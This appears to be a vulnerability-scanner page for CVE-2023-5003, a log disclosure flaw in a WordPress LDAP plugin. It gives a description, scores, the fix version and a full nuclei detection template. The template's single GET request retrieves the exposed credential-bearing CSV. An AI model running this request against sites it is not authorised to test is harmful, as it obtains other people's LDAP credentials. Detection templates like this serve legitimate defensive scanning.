Active Directory Integration WP Plugin < 4.1.10 - Log Disclosure

highseverity

7.5CVSS score

26.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The Active Directory Integration / LDAP Integration WordPress plugin before 4.1.10 stores sensitive LDAP logs in a buffer file when an administrator wants to export said logs. Unfortunately, this log file is never removed, and remains accessible to any users knowing the URL to do so.

Impact

Unauthenticated attackers can access sensitive LDAP logs containing authentication credentials and directory information by directly accessing the buffer file URL.

Fix

Fixed in 4.1.10

How to confirm it

Send: GET {{BaseURL}}/wp-content/ldap-authentication-report.csv
Positive when: contains "ID" and "USERNAME" and "TIME" and "LDAP STATUS" AND status 200

Run it with nuclei: nuclei -id CVE-2023-5003 -u <target>

The full check

id: CVE-2023-5003

info:
  name: Active Directory Integration WP Plugin < 4.1.10 - Log Disclosure
  author: s4e-io
  severity: high
  description: |
    The Active Directory Integration / LDAP Integration WordPress plugin before 4.1.10 stores sensitive LDAP logs in a buffer file when an administrator wants to export said logs. Unfortunately, this log file is never removed, and remains accessible to any users knowing the URL to do so.
  impact: |
    Unauthenticated attackers can access sensitive LDAP logs containing authentication credentials and directory information by directly accessing the buffer file URL.
  remediation: Fixed in 4.1.10
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5003
    - https://wpscan.com/vulnerability/91f4e500-71f3-4ef6-9cc7-24a7c12a5748/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-5003
    epss-score: 0.26633
    epss-percentile: 0.98036
    cpe: cpe:2.3:a:miniorange:active_directory_integration_\/_ldap_integration:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: miniorange
    product: active_directory_integration_\/_ldap_integration
    framework: wordpress
  tags: wpscan,exposure,csv,ldap,wordpress,wp-plugin,cve,cve2023,miniorange,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/ldap-authentication-report.csv"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ID"
          - "USERNAME"
          - "TIME"
          - "LDAP STATUS"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from